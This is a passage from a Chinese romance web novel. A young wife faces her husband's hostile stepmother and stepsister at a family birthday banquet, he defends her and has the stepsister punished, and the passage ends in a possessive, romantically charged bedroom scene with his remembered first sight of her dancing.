但片刻后,她想起什么,问他:“谢温言,你不是对花粉过敏吗?为什么之前能抱着洋甘菊去祭奠我爸爸?” “你……怎么知道我花粉过敏?” 谢温言微微蹙眉,眼神带着一抹审视,像是要参透什么。 周绾宁眼神里飞速划过慌乱,有些害怕他会知道那天是她找人送的玫瑰花,怕引起他对自己的厌恶。 于是她连忙找了借口:“是之前知道温鄞有哮喘,和阿姨聊天时,她提到的。” “孙晗莉?” “她倒是将我的禁忌知道得一清二楚。” 谢温言轻轻揉捏着她的手骨,像在把玩十分珍重之物,“从小,我就对各种花粉过敏,尤其对玫瑰花的反应最为严重。” “只有洋甘菊是我唯一能触碰的花,我很喜欢它,所以我也愿意把它分享给你。现在我让私定设计师做成了手链,希望它能时刻鼓励你,像它的花语一样……” “坚韧不拔,越挫越勇。” 周绾宁点头微笑:“谢谢你,谢温言,我会记住的。” 这一刻,她面上是笑意,但垂下的眼眸不经意间划过一丝落寞。 她发现,原来想了解谢温言也没那么难。 但可惜…… 她已经在试着强迫自己,放弃这段婚姻、放弃他了。 第15章 冲突 是不是该减少和谢温言的房事频率…… 在看到逸园前的停车场里有十几辆豪车时, 周绾宁才意识到,这次宴会的规模比她想象的大。 之前无人涉足的戏台, 此刻已有戏曲在上面表演,是在为这个院子的主人高唱。 周绾宁随谢温言走进逸园的主客厅。 屋子里人头攒动,宾客们纷纷向谢老爷子贺寿,场面盛大又喜气。 看着手上的两份礼品,周绾宁心里有些没底。 “谢温言,两个小家伙会喜欢我准备的礼物吗?” 怪谢温言通知得太晚,这些礼物都是她临时准备的, 要说贵重倒也没有, 只能算是她的一份心意。 本来她还给谢温鄞也带了一份, 怕小家伙看到其他宝宝有, 他没有,会伤心,但谢温鄞还在冰岛没回来。 周绾宁打算等他回来再送给他。 “放心吧,他们会喜欢的。” 谢温言握住她的手, 让她安心,随即带她去到宴会厅人群聚集中心。 一时间,客厅里原本的交谈静下来几分, 不少目光都转向了谢温言,再逐渐过渡到站在他身旁的那抹优雅明媚身姿。 “那就是温言的太太?和温言站在一起真是登对。是哪家的千金?” “不清楚,他们没举办婚礼,谢温言也没有公布她的身份,但看这气质举止, 应该家境不俗。” “哇,如果我没记错,这位少夫人无论是衣着还是神韵, 竟然都很像谢家以前的温夫人。身段像、气质也像。” “嘘,可别在这里提及这个。” 有人连忙用下巴指向前方黑了脸的现谢家夫人孙晗莉,意在告诉刚刚说话的人—— 只要谢家现夫人孙晗莉在谢家的一天,那么谢家先夫人、谢温言的生母温璐芸就是一个禁忌。 顿时,周围聊天的人陷入缄默里。 “等等,那是……” 忽然,人群中随父来谢家贺寿的徐婧,在看到周绾宁时,语调升起,又骤然停止。 她有些没想到,前阵子在幼儿园还被她警告别试图通过谢温鄞攀上谢温言这条高枝的周绾宁,竟然会出现在这,还是以谢温言夫人的身份。 这一刻,她也不知道自己是什么心情。 只是暗忖怪不得背景那么硬的何正启会被开除、高家这些天会那么难过。原来都有迹可循。 周围其他宾客,被她此刻要说不说的话语勾起了好奇心。 “徐婧,你父亲和谢家走得近,你应该知道这位谢少夫人的身份吧。” 徐婧犹豫一秒,摇头:“不清楚。” 随即她勾着唇角,喝下一口香槟,笑容揶揄,“不过这位谢太太真的很让人……惊喜~” 另一边,谢温言领着周绾宁来到正抱着小曾孙的谢老爷子面前,递上两人的礼物。 “爷爷,我和绾宁来向您祝寿了。” 谢老爷子喜欢谢温言这个长孙,是在京市出了名的。 他在与同辈聊天时,夸耀最多的便是这个由他一手抚大、亲授经商知识的孙子。 他向来对谢温言什么都满意,唯独对谢温言的婚姻,态度始终语焉不详。 知情的一些人不免开始看戏。 周绾宁也随谢温言对老爷子道了句:“爷爷,祝您长命百岁。” 以前,她对谢家也好,对这位德高望重的爷爷也好,更多的是小心翼翼,怕他们不喜欢自己。 但现在他们就快不是一家人了。 他们喜不喜欢自己,周绾宁将一点也不在乎。 老爷子对她点点头。 本想淡然处之,但不免想到前几天谢温言特意跑来和他下棋。 那时,他没忍住,和自己的这位孙子再次提了当年想与沐家联姻的事,并表示自己的遗憾。 谁知向来下棋让着他的孙子,在棋盘上置下一子满盘通杀,还抬眸笑着对他说:“爷爷,我和我爸不一样。” “如果男女相爱,却无法步入或维持婚姻,那么一定是那个男人无能且不专。这几年我已经证明,不靠联姻,我也能让谢家更上一层楼。所以也请您尊重,我这辈子只会有绾宁一个妻子的事实。” 老爷子权衡再三,决定给予周绾宁应有的尊重。 他一边收下周绾宁递过来的礼物,一边对一脸好奇的老友们介绍了周绾宁的身份:“这位是我们谢家的孙媳,名唤周绾宁,以后大家也多帮谢某多多照顾孙辈们。” 这一句话,是彻底在圈子里承认了谢家少夫人的存在。 周绾宁还没有什么反应,一旁的孙晗莉已经黑了脸,独自一人离开了宴会厅。 离吃饭还有一会儿。 谢温言被谢书俊拉着去向各个叔伯应酬。 周绾宁则拿着送两个宝宝的礼物,去看望婴儿房里的两个宝宝。 他们一个正在酣睡,一个本在专心喝奶,看见周绾宁时,忍不住吐掉奶嘴对着她咧嘴就笑,还伸手要抱抱。 照看他们的育婴师有些惊喜:“现在小少爷正在认母期,今天您还是他第一个主动要抱抱的人呢。” 周绾宁听了,不免心一暖。 她想,这应该和她的职业相关。 “那当然,我们谢家少夫人是做幼师的,自然很会哄孩子开心了。”忽的,一道刺耳的声音在旁响起。 这个略带嘲讽的语调,让周绾宁的眉头蹙紧。 她知道来的是谢霜鄞,正想呛回去,却见 春鈤 她身旁还跟着一个人。 是……沐黎。 那个在舞蹈界里光芒万丈的人,也是此刻她名义上的情敌。 “沐黎姐,我给你介绍一下。” 谢霜鄞朝周绾宁轻蔑一笑,“眼前这个人呢,就是我哥现在的妻子,周绾宁。职业是……我们集团星海幼儿园里的一名普通幼师。” 沐黎顺着谢霜鄞的指示看过来,一如电视上那样端庄大气,气质很好。 “你好,沐黎。”她伸手。 周绾宁握住她的,也介绍自己:“你好,周绾宁。” “嫂子。”忽然谢霜鄞亲切地叫唤了周绾宁一声,并把沐黎拉到她的怀里展示。 “这位沐黎姐想必你还不认识吧,她是我哥的青梅竹马,当初要不是你横插一脚,兴许她已经是我的嫂子了,还是与我哥最门当户对的妻子。而我们谢家的关系,也会比现在更融洽。” “霜鄞,别这么说。”沐黎出声制止。 谢霜鄞:“我就这么说了。这些本来就是事实。当初大院里,谁不知道你和我哥才是一对。要不是她突然出现,我哥会为了她毁了你们的订婚?” 周绾宁目光落在沐黎身上。 之前在电视上见她,还没现在这么清晰。 现在近距离接触,周绾宁才发现沐黎身上的气质,竟然和谢温言是一样的清冷又矜贵,看上去和善,真正相处起来或许有种不可逾越的疏离感。 或许,他们才是同一类人。 刚刚谢霜鄞的话,没给周绾宁造成任何影响,但现在她内心的这些想法,有伤到自己。 每挖出谢温言和沐黎般配的证据,她就觉得之前的自己很小丑。 见周绾宁垂眸不说话,谢霜鄞以为自己的话刺痛了她,顿时趾高气扬地上前半步,用两个人才能听到的声音,小声道:“周绾宁,你要是识趣,就赶紧离开我哥。” 不知道为什么,这一刻周绾宁就是很想气她。 “如果我偏不呢?我就喜欢你一直一直……喊我嫂子。” “你!”谢霜鄞气得要尖叫,甚至是逼近了她一步。 这时,一道身影经过,站到周绾宁身后,呈现出保护姿态,而他手中的红酒就这么泼在了谢霜鄞身上白色人鱼姬的礼服上。 谢霜鄞被这突如其来的情况吓得尖叫一声,刚要发作,却见那挺括的身影就是谢温言。 顿时,她所有要骂人的话,都噎在了喉咙里。 谢温言举着手中的杯子越过沐黎,放到了一旁的托盘上,冷声说了句:“衣服脏了,就去楼上换掉。不会说话,就把嘴巴闭上。”后面六个字还加了重音。 而沐黎看着眼前的一切,微愣的目光下意识顺着前方谢温言的手,看向周绾宁的腰腹上,那里有谢温言的另一只手。 只一个动作,她就看出了谢温言有多爱周绾宁。 从小,他不喜欢的人和物,他碰都不会碰。 不会呈现这样保护、强势、占有、排他的举动。 想到之前在盛坤集团,她去看孙晗莉那次,孙晗莉还对她说,周绾宁是谢温言娶进谢家用来气他父亲的工具人。 那时,她还有希冀,现在幻想全然破碎。 沐黎握着手包的指关节,不免有些泛白。 “哥!” 谢霜鄞还是没忍住跳了脚,大喝一声,以表不满。 吓得刚准备入睡的宝宝愣了下,哼哼唧唧起来。 谢温言顿时冷眼看着她,一言不发,但已经把所有的话用眼神说出了口—— 她再废话,就别怪他不给她留颜面。 谢霜鄞看懂了,只能对沐黎说了句失陪,连忙离开休息室去楼上换衣服。 沐黎则暗恼谢霜鄞发个脾气,竟然差点连累自己在谢温言心里的印象。 她上前表示歉意:“抱歉,我也不知道霜鄞对绾宁的敌意那么重。如果我知道她是借我来对你说这些的,我一定拦着她。” 谢温言没说什么,目光落在自己的妻子身上。 只见周绾宁并不在意,微笑着对沐黎摇头:“没关系,我不会计较这些。” 谢霜鄞迟早会惹祸的,到时候自然有人收拾她。她何必去做这个恶人。 沐黎点点头,借口自己还要去对谢爷爷贺寿后,离开了休息室。 谢温言也没想久留,以免惊扰了两个宝宝喝完奶睡觉。 他牵起周绾宁的手,带她出去,并给她了一颗定心丸:“等会宴席结束,我们就离开。” 她不喜欢谢家的氛围,以后他还是不带她来了。 在相应的礼数做足后,他们就尽量随意些,不必注重家族里的繁文缛节。 周绾宁心底思绪万千,几乎是条件反射性地,对他的提议点点头。 外面恰好到了饭点,谢老爷子招呼大家入座。 宴席按照惯例是喝酒的与不喝酒的分席而坐,而因场上的女性们不怎么爱喝酒,便演化成了男女分席。 谢温言领着周绾宁,把她安排在他表妹身边,走前还交代了那位表妹一句:“替我照顾好你嫂子。” “知道你心疼嫂子,好啦,我会的。”盛星乔满口应承下来。 周绾宁也向这位表妹示好。 在简单交谈中,她得知盛星乔就是今天两个满月小宝宝的生母。 不得不说,谢家的基因很好。 不仅谢温言长得很漂亮,这位表妹也十分貌美,哪怕还带着孕后的富态,也是精致、贵气的。 “嫂子,我可终于盼星星盼月亮见到你真人了。” 盛星乔举起手中的果汁,热情地对着周绾宁手中的杯子碰了一杯。 周绾宁有些受不住。 虽然她和谢温言结婚的时间已经不短,但和盛星乔统共也只见过三面,所以她不太了解这位表妹的性格。 再者,她已经被谢家人怠慢过许多次,也有些分不清眼前这个小姑娘对自己是真心还是假意。 怕她会和谢霜鄞是一类人。 但好在,她感受到了盛星乔眼底的笑意是善意的。 所以,她还是愿意接受对方的示好:“恭喜你,生下两个那么漂亮乖巧的宝宝。” “这还有嫂子你的一份功劳呢。” “我?”周绾宁不解。 盛星乔一脸开心:“好早之前,我有在表哥的朋友圈里看到你的照片,觉得你比女明星还要好看,我又听说孕期看漂亮的人,宝宝也会长得很漂亮,就死皮赖脸地求表哥把嫂子你的照片发给了我。” “你不知道,我可是将你的照片看了整整三个月,每天都教两个宝贝要往嫂子你的样子你的气质上长。唔,果然两个宝宝生下来后,都是高鼻梁大眼睛,现在就期待我家女宝宝能和嫂子你一样有气质。” 周绾宁眨巴了两下眼睛,有被她的话震惊到。 怪不得那个男宝宝看到她,都不认生。 原来有这层原因在。 不过她也震惊于…… 谢温言竟然有在朋友圈发过她的照片。 她一直认为,谢温言的朋友圈只有工作、应酬。 想着,她拿出手机打开谢温言的微信界面,打算往前翻翻他是不是发过自己。 就在她点进他的朋友圈时,发现上面的封面和之前的不一样了,不是那辆谢温言钟爱的库里南,而是换成了他们的……婚纱照? 她不免想起自己在点赞他朋友圈的封面后,他对自己说的那句【换好了】。 原来是这个意思。 可他为什么会换?是不是她让他误会了什么? 就在周绾宁陷入疑惑时,盛星乔凑过来,一脸羡慕。 “哇,嫂子你和表哥的感情也太好了吧。表哥竟然还把你们的婚纱照放朋友圈,以来宣誓你对他有主权。” 是……这个意思吗? 周绾宁有些过于惊讶。 而且这张接吻的婚纱照,她竟然一点印象都没有。 想着,她连忙去自己的手机相册里翻了几翻。 她很确定,当初的成片里根本没有这张婚纱照的存在。 一时间,有个念头在她心里萌生,但她不敢去细想。怕窥探到什么,也怕是自己像之前那样想太多。 这时,盛星乔深深叹了口气:“去年要不是意外怀孕,我应该也拍上这美美的婚纱照了,哪像现在,还得先减减肥再拍。对了,嫂子,你和我表哥结婚的时间也不 𝑪𝑹 短了,没想过要个孩子吗?” “……” 周绾宁摇摇头,“暂时没想过,我还想再玩几年。” 听到这个,盛星乔一脸暧昧地凑过来,压低声音:“那你们可得做好防护措施,我和我家那位都很郁闷,明明两个人都做措施了,最后还是玩翻车不小心怀上了。” 车速过快进到成人限制级的话题里,周绾宁不免微红了脸,无比客气道:“谢谢提醒。” 但在此之前,她确实没考虑过这些…… 或许,现在该考虑起来了—— 以后是不是该减少和谢温言的房事频率?以免意外怀孕。 第16章 醋意 “老公……” 宴席的半程, 周绾宁去了趟洗手间,刚洗完手出来, 孙晗莉在半道上叫住她。 “绾宁,你跟我来一下。” 周绾宁犹豫一瞬,跟着她走到一旁的小客厅里。 随着门自动关上,孙晗莉转过身来,目光落在她身上那件刺眼的衣服上,垂在身侧的手忍不住拽紧。 她早就该知道谢温言娶周绾宁的目的,就是为了让她难堪让她发疯! 果然今天的宴会上, 谢温言做到了。 所有人看到周绾宁的这一刻, 都不约而同地想起了谢家先夫人温璐芸, 这是狠狠打了她的脸! 纵使内心已经要发疯, 但孙晗莉仍旧维持面上的平静,淡声下命令:“我不喜欢你穿这一身衣服,去楼上换了吧,我已经让林妈去温言的房间放了条礼服, 那件更适合你。” 周绾宁低头看了一眼自己身上的礼服,准备拒绝她无理的要求。 这时,孙晗莉又出声提醒:“对了, 还有件事。” “你年纪不小了,温言也已年近三十,你们不如早点生一个,让爷爷抱上曾孙。” 这话,从别人的嘴里说出来, 周绾宁都会当做来自亲人善意的期望,但孙晗莉一句话里三四个打算,她并不打算接受她的算计。 “我和温言暂时不考虑生孩子。” “是你们不考虑, 还是你……不想生?” 孙晗莉没想再维持表面的和谐,“绾宁,你别以为阿姨不知道你在打什么主意。你该不会……还想着回舞台吧?” 果然…… 周绾宁的嘴角忍不住噙起一抹冷笑来:“阿姨,一年了,你的高高在上和蛮横专制,还是没有变?” “周绾宁,你知道自己在跟谁说话吗?” 孙晗莉蹙起眉头,不满于周绾宁此刻的态度。 周绾宁神色淡淡:“你是温言的继母,我是该给予你尊重,但不代表你可以随意凌驾于我的意志之上,对我颐指气使,随意摆布我的决定。抱歉,如果没什么事,我先出去了。” 她转身要走。 “站住!”孙晗莉出声制止,眼眸猩红,“周绾宁,你可别忘了,我对你是有恩的。” “恩?” 周绾宁回首看她,只觉得好笑,“你是指一年前,你仗着我孤立无援时,说会帮我,实则最后逼我签下放弃京市第一舞蹈团的承诺书,把舞蹈团的名额让给你女儿,后来又一脸施舍般逼我签下星海幼儿园聘用合同的……恩情?” 孙晗莉不敢置信她此刻的态度:“你……” 周绾宁继续道:“当时,我记得自己哭着说我可以用别的还你的恩情,我很喜欢跳舞不打算放弃自己努力了多年的机会。” 她转过身,冷眼看她,“但你说只要我签下合约,我们之间的所有恩情一笔勾销。所以我记得,这份恩情我已经还给你你了呀?” “周绾宁,你现在是什么态度!”孙晗莉一副怒不可遏的模样。 周绾宁并不在乎眼前孙晗莉有多生气,只继续说道:“我签了合同,也信守承诺过,你逼我做的这些事不会告诉谢温言。所以我也希望您别再继续咄咄逼人,企图主宰我的人生。” 她冷着神情,气场丝毫不输,“还有,阿姨。我不管你之前为什么不喜欢我,不尊重我,从现在开始,我不会再忍让你们。” 孙晗莉有被周绾宁眼底的冷意吓到,忍不住旧事重提为自己增加底气。 “我看你是忘了我当初对你说的那句话。” “我说过,你总有一天会因为谢温言不在你身边,有再次跪着求我的时候,你现在是要造反吗?” 周绾宁回身握住门把手,淡淡一笑:“当初,你用我伤重的奶奶逼我,我没的选。现在我已经没有软肋了,但请你记住,你有。” “周绾宁你什么意思,你给我站住!”孙晗莉气得要追上来。 但周绾宁丝毫不顾身后她的发飙,打开了门准备出去,却与楼梯下来的谢霜鄞意外对上目光。 她没搭理,果断绕路离开,回了宴会厅自己的位置上。 她准备拿上包,去谢温言那边,问他自己能不能先行一步去车里等他,却意外看见…… 谢温言身旁不知道什么时候坐着沐黎,他们正在喝酒,沐黎笑得很愉快,喝酒也很爽朗。 他们周围的好友在打趣着什么。 谢温言不苟言笑的人,此刻也面带笑意。 那画面,还挺美好。 周绾宁收回自己的眼神,忍下心中的酸涩。 这时,盛星乔正好抱着女儿过来,见周绾宁回来,她立马举起怀里女儿的手向她打招呼:“樱桃看,舅妈回来喽~” 周绾宁扫掉心里的不舒服,连忙扬起笑走过去,准备去抱那个对咧开嘴笑的小宝贝,未料,身后突然传来一股抓力将她往后拉去。 不等周绾宁看清楚是谁拽了自己,一杯红酒就这么被人顺着她的头顶浇灌了下来。 隔着红色又通透的液体,周绾宁看清来者是一脸怒不可遏的谢霜鄞。 她大声质问着:“周绾宁,刚刚你是不是欺负我妈了?” 一时间,周绾宁那桌的宾客都惊讶地看着这一幕,隔壁座的徐婧也被这番动静吸引了目光,忍不住蹙起眉头。 盛星乔连忙站起来伸手想要拉开谢霜鄞,并劝阻着:“霜鄞,是不是有什么误会,你别冲动。” “你给我滚开!”谢霜鄞横眉怒斥,“我们谢家的事,哪有你盛家说话的份!” 她的这个举动,吓到了盛星乔,也吓到了盛星乔怀里的宝宝。 宝宝嘴巴一瘪,哇的哭了起来。 而婴儿的哭声立即引来了更多人的侧目。 周绾宁见此,冷下神色,将盛星乔和她的宝宝护在身后,上前一步与谢霜鄞对峙。 “你有怒气冲我来,别对着星乔和其他无辜的人发脾气。还有……”她垂眸看着自己几乎被扯坏的衣领,冷斥道,“松开。” 谢霜鄞并没有收手,而是质问:“周绾宁,你凭什么欺负我妈?” “我没有。” “你这是敢做不敢认了?那就别怪我不给你脸!你不过是我哥娶进谢家的工具人,也敢在我妈面前作威作福,我这就好好教训你,让你知道什么叫做谢家的规矩。” 说着,谢霜鄞举起一只手就要扇过来,但手刚划过半空,便被另一只骨骼分明的手及时截住。 下一秒,盛气凌人的谢霜鄞被一股力量重重地掼倒在地。 她狼狈地抬头看来,刚想发怒,却见这一次,依旧是谢温言站在周绾宁身前,高大的身躯将她完完全全护在后方。 他那双淬着冰霜的眼,冷冷地凝视着地上的她,不见其间有任何温情,而是盛大怒意。 * 宾客散去后的谢家,全然不见刚刚的欢闹,只剩下了某些人的噤若寒蝉。 谢老爷子坐在主座,时不时看向一侧的谢温言,想要估摸出他的态度。 而客厅中央,谢霜鄞跪在地上默默垂泪,仿佛自己受了天大的冤屈。 孙晗莉陪着她,忍不住向谢老爷子求情:“爸,是我管教无方,你要责罚就罚我吧。” 至于一家之主谢书俊,则将问题都抛给了孙晗莉。 他言辞激烈,像是在严厉教育妻女一样:“你看看你教 春鈤 出来的好女儿,在爸的寿宴上这样大放厥词还打人,今天不家法伺候,以后更无法无天了!” “爸!”谢霜鄞不敢置信地看着一向疼爱自己的父亲。 他竟然要对她用家法? 想着,她委屈地埋首在自己妈妈的怀里,哭得更厉害了。 谢老爷子还是心疼自己的孙女的,出声唤了一声“书俊”,打算以长者的身份,息事宁人。 反正也没什么大错,就当是将这件事揭过了。 谁知这时,谢温言站起了身。 全场顿时陷入静默。 “我不太明白,是我平日对绾宁哪里做得不到位吗?” 他转动着无名指上的婚戒,语气像是真的在反思自己,“才会让你们觉得,哪怕是在我的眼皮子底下,你们也对她可以这样傲慢、无理、羞辱,甚至是殴打?” 念着罪刑,谢温言踱步到谢霜鄞面前,居高临下地看着她,眼底已然没有丝毫的情绪,只有无尽的霜雪。 谢霜鄞吓到了。 她这个同父异母的哥哥,向来对她情绪冷淡的。 无论她做了什么惊天动地的事,他对她都是置之不理,他对谢温鄞都比对她上心。 小时候她有过向谢温言示好,也有过为了引起他的注意故意捉弄他。 她被父母宠得总以为自己什么都能得到,但无论她用尽什么办法都得不到这个哥哥的温柔。 起初她伤心极了,后来发现谢温言不仅对自己这样,对沐黎、对大院其他女生都是如此,她才有些觉得无所谓。 直到谢温言带回来周绾宁,她才知道冷淡无情的哥哥、把她当透明人的哥哥,也有会对其他女生展现出温柔呵护、宠溺十足的一面。 但是! 她都没有得到过哥哥的温柔,她周绾宁又凭什么! 这两年她处处针对周绾宁,也是因为她想让哥哥看见自己,只是没想到今天好像有点儿不一样。 谢温言刚刚在宴会厅里护着周绾宁极尽疼惜,但看着自己的那种眼神,像是在看垃圾,又像是在看死人。 谢霜鄞眼眸含泪忍不住为自己辩解:“哥,羞辱嫂子是幼师,是我的错。但后面这次真不是我的错!” “所以……那是我的错了?” “不、不是。” 谢霜鄞委屈地辩解,“是刚刚我在楼上换完礼服,下来就看见周绾宁在小客厅里和我妈争吵。我妈都气得吼出了声。我是护母心切才……” 随着她的话,谢温言冷眼看向一旁的孙晗莉,想要问是否有这回事。 孙晗莉和他对上眼神,闪过几丝慌乱。 她连忙抚住女儿:“霜鄞,妈妈真的没有和你嫂子起争执,只是、只是在正常聊天。” 她不可能让谢温言完全知道她和周绾宁聊了什么。 虽然周绾宁只是他娶回家用来气他父亲和她的工具人,但再怎么,周绾宁也代表着谢温言的颜面。 万一谢温言知道她过去对周绾宁做的事,他一定会为了他的面子发怒。 她已经错过了和谢温言正面硬刚的最好时候,那么之后,她都只能谨小慎微着来。 一切等到谢温鄞长大就好了。 到时候……她一定会让这个家、会让谢温言都承认她的地位。 “哦?你在跟绾宁聊什么?”谢温言冷笑着看她。 “我是想,爷爷年纪也大了,连你大姑家的小女儿都生了孩子,关心则乱,就跟她提及了要你们趁早生个孩子这件事。我是好心好意,但绾宁她……” 孙晗莉一副伤心的模样,“绾宁她不愿意生孩子,态度很强硬。” 谢温言端茶要喝的动作一顿,凌冽的眸色有一瞬的变化。 “我和绾宁的事,都以她的意愿为准。” “她不愿意的事,我不会逼她,也不需要你的多管闲事。” “温言,怎么跟你阿姨说话?” 一旁,谢书俊忍不住出声维护自己的妻子。 谢温言嗤笑一声:“既然您知道她只是一个阿姨,那就做好她阿姨的本分,不该她管的事,少管。” “你……”谢书俊气得一噎。 谢温言目光落到地上的谢霜鄞那,云淡风轻地提醒道:“爸,该家法了。” “爸!爸……我不要……” 谢霜鄞怕得当即哭嚎起来。 谢温言看向林妈,林妈按照吩咐去拿来了木棍。 “哥,我可是你亲妹妹。你怎么能为一个外人就对我用家法!” 谢霜鄞慌不择言,几乎是在谢温言的雷点上狂踩。 “外人?”谢温言眼眸凉薄地重复了这两个字,“要说外人、要论远近亲疏,如今我和绾宁才是一个户口本上的家人。对我来说……” 他的目光划过孙晗莉,还有谢霜鄞,“你们才是外人。” 谢霜鄞怔住,没想到谢温言会说出这句话,呆呆地坐在地上不知所措。 片刻后,她也意识到求眼前的谢温言没用了。 于是她连忙去求最疼爱自己的父母:“爸妈,我不要挨家法,十下家法我三天都下不来床,我下周还要出去旅游。” 谢书俊就算有心包庇,此刻也无力。 她在老爷子的寿宴上当着众宾客的面对自己的嫂子施暴,丝毫不将谢温言、盛家放在眼里。 这件事不仅对内影响了家族成员的感情,还让外人看了笑话。 如果轻易揭过,那么谢家的名声将在京市荡然无存。 谢书俊看了眼不肯松口的儿子,神色肃穆地接过林妈拿来的棍子,往谢霜鄞身上招呼。 对比哭嚎的谢霜鄞,目睹着全程的谢温言情绪冷淡,不曾对这个所谓的妹妹有过半分心疼。 直到十下过后,他才起身离开客厅。 而他走后,孙晗莉连忙扑过去抱住自己的女儿,心疼地哄着:“不哭了不哭了,妈妈在。” 谢霜鄞委屈得一个字都说不出来,只一个劲因为疼而嚎着。 孙晗莉恨恨地看着楼梯的方向,眼底划过一丝狠意。 * 回到自己的房间,谢温言收到了谢书俊发在家族群的道歉信。 说他一个父亲,没有教导好女儿,让家里人看了笑话,如今已经对谢霜鄞施加过家法了。 如果是以往,谢霜鄞挨没挨家法,也是谢书俊关起门来,自己的事。 但今天谢温言全程看着,不想让周绾宁吃亏,纵使是爱女心切的谢书俊也没办法护短。 谢温言关掉手机,目光四处巡视,没在房间里发现周绾宁,想来她应该还在浴室。 想到刚刚孙晗莉说的那句—— “绾宁她不愿意生孩子,态度很强硬。” 谢温言微垂双眸,眼神里情绪并不鲜明。 他克制着,不想让孙晗莉的这句话,在自己的心海里起半分波澜。 但这句话并不是一颗小石子,而是一块陨石,搁置在他的心间,让他没法装作若无其事的样子。 如果绾宁不喜欢小孩、怕身材走样、怕生育的疼痛,他会欣然接受这些理由并去结扎。 因为他不觉得自己能做好一个父亲,他只想把她照顾好。 但如果她不想生孩子,是为了以后和他离婚没有牵扯,那么…… 沉思间,谢温言已经拉开了浴室的门。 镜前正在吹头发的周绾宁注意到了门外的他,默默关掉吹风机。 独自上来洗澡后,她的心里一直有点儿忐忑,怕自己和谢霜鄞的矛盾会让谢温言在谢家人面前为难。 但现在想来,谢霜鄞说的那句“你不过是我哥娶进谢家的工具人”,让她有些清醒。 她一个工具人,应该不会让谢温言和谢家有什么为难的地方。 并且周绾宁有些庆幸,之前自己追谢温言的这件事,只有她和她的两个好朋友知道。 不然在这最后一些时间里,她恐怕会无颜面对谢温言的吧。 见他走过来,她默认是他要用洗手间,准备把位置让给他。 就在她要离开时,谢温言忽然出手紧握住她的手腕,一个用力将她拉回了洗漱台前。 在她错愕间,他大步上前,将两人的安全距离疾速缩短。 谢温言的呼吸微沉,眼底的情绪也有些冷,但其中好像还有一抹情绪在愈演愈烈。 是她很少在他眼里能看到的一丝……占有欲。 椿?日? 周绾宁微微一愣,还没有反应过来,忽的,谢温言用双手捧起她的脸,弯腰吻了下来,强势得让人躲无可躲。 其间汹涌的醋意,更是鲜明不已。 周绾宁有些被吓到,忍不住伸手推他。 她不知道他是怎么了。 但她并不想做他宣泄情慾的工具人。 至少,现在不想。 而见周绾宁有拒绝之意,谢温言先是不轻不重地咬了她的嘴唇。 在她张口痛呼时,又灵活地将舌头钻入她的唇腔里,与她的舌缠溺在一起。 直到后来她的抗拒稍稍减弱,男人才收回刚刚情绪里流露出来的几分狠厉,转而温柔地与她唇齿厮磨,一点点地带着她与自己互动、给予自己回应。 而他微凉的目光越过怀里的人,神思清明地看向后方镜子里的自己。 那才是真正的谢温言,眼底有卑劣的阴暗与浓烈的占有欲。 可这些情绪,都是他不敢,也不能让周绾宁窥探到的真实的自己。 不知怎么,谢温言回忆起了他们初见的那次。 并非医院天台,而是周绾宁初次登上京市文化中心大剧院舞台那天。 少女身着华服,手挽两条浅蓝色水袖,舞步意气风发、姿态明媚翩然地跳了一曲叫《月下洛神》的古典舞。 而他在下方的观众席里,是她巡演的第一批观众。 他去剧院看舞台表演并不是偶然。 他母亲温璐芸,是国家一级演员,也是二十年前京市舞蹈团的首席。 其中她自编自导自演的舞蹈,就是那场直至如今都被许多院校舞蹈生追捧的《月下洛神》。 自母亲去世后,每年她的祭日,他都会去京市的剧院里,看该场舞台表演,以作对她的思念。 在遇到周绾宁之前,他一共在那个剧院看了12场不同风姿的洛神,唯有周绾宁的那场舞台,让他依稀看到了昔日母亲的身影。 压轴舞蹈结束后,周围的人都按序退场。 唯有他还坐在舞台下沉凝,一直到观众席陷入黑暗也不曾离开。 不时,舞台再次亮起一盏灯。 换上便服的周绾宁折返回来,想要在落幕后的剧院里练舞,却被还在观众席上的他吓了一跳。 片刻后,她笑意张扬,满是年少无畏地告诉他:“这位先生,我喜欢的人还被晚高峰堵在路上,你要不急着走的话,再做一会儿我的观众吧。” 他没说话。 周绾宁也不像是要等他说话的样子,只是穿着新换的日常连衣长裙为他跳了一曲。 舞台上的周绾宁是明媚恣意、无拘无束的。 而他看着那样的她,起了一个很无耻的念头—— 他想要这样明媚的少女,只属于他一个人。 只可惜念头刚起来,就被女生的一记欢呼打断。 他看见她快乐地跳到一个男人怀里,神色是看到喜欢的人时,特有的神采飞扬。 “小叔叔,你怎么那么久才来啊,都谢幕了。” 她声音骄纵又娇气,但那模样落在旁人的眼里却是满满的可爱。 “是小叔叔不好。我请你吃草莓味的小蛋糕,将功抵过怎么样?” 说着,西装革履的男人从身后递给她一只妆点精致的透明蛋糕盒,像是他们早就定下的约定俗成。 “哇,还是小叔叔最懂我。”周绾宁接过小蛋糕,随后挽起男人的手,要带他离开。 但忽的,周绾宁像是想起了台下还有他这号观众的存在,连忙后仰对着观众席挥手再见。 身旁男人问她:“在跟谁拜拜?” “一个观众。但观众席那太黑了,也不知道他走没走。”说着,周绾宁放大声音,带着搞怪,“黑暗先生,再见啊!” “再见。” 谢温言用只有自己可以听到的声音对她告别。 回忆暂歇,看着曾在别人怀里明媚的少女,如今终于也能在他怀里了。 她或许还天真地以为他只是要这段短暂的婚姻,但不是的,他想要她一辈子。 所以不管是现在还是以后,他都不会轻易放手。 下定了决心,谢温言一举抱起她,像是抱小孩一样带她走到浴室外。 一路上,他都在专注地吻着自己怀里的小姑娘,温柔地想要安抚住她在情慾影响下的不安与无措。 他将她放到床上,覆在她的身躯上眼神缱绻地看着她,几乎将她完全包裹,不给她有逃离的机会。 “周绾宁……” 他唤着她,缠丿绵的语调里是他想藏却藏不起来,只能肆意倾泻出来的爱意。 周绾宁颤栗着被唤回了神思。 她目光怔怔地与谢温言对视上。 在看到自己无意识地把双臂挂到了他的脖颈处时,她有一瞬清醒,随后慌忙将手抵在他的身前。 她有些害怕。 怕一旦这个吻继续深丿入,那么局势就将再也控制不住。 这里没有避孕套,她不想让自己有怀孕的可能。 所以此刻只能严厉又极具克制地拒绝他的求欢。 但忽的,谢温言将手钻入她的浴袍下,摸上她的后腰。 周绾宁一个颤栗,只觉有丝丝缕缕的麻传达至她的全身,让她变得浑身酸軟无力。 这时,谢温言又突然用力将她往上一抬,迫使她完全贴合在他的身上。 两人严丝合缝间,让她也感知到了他慾望的苏醒。 这一刻,周绾宁眼神慌了,无措地对上他,脱口而出一句求饶:“老公,不要……” 第17章 舞蹈 太过契合也不好。 周绾宁喊“老公”的次数, 屈指可数。 但不得不说,每次都很有用。 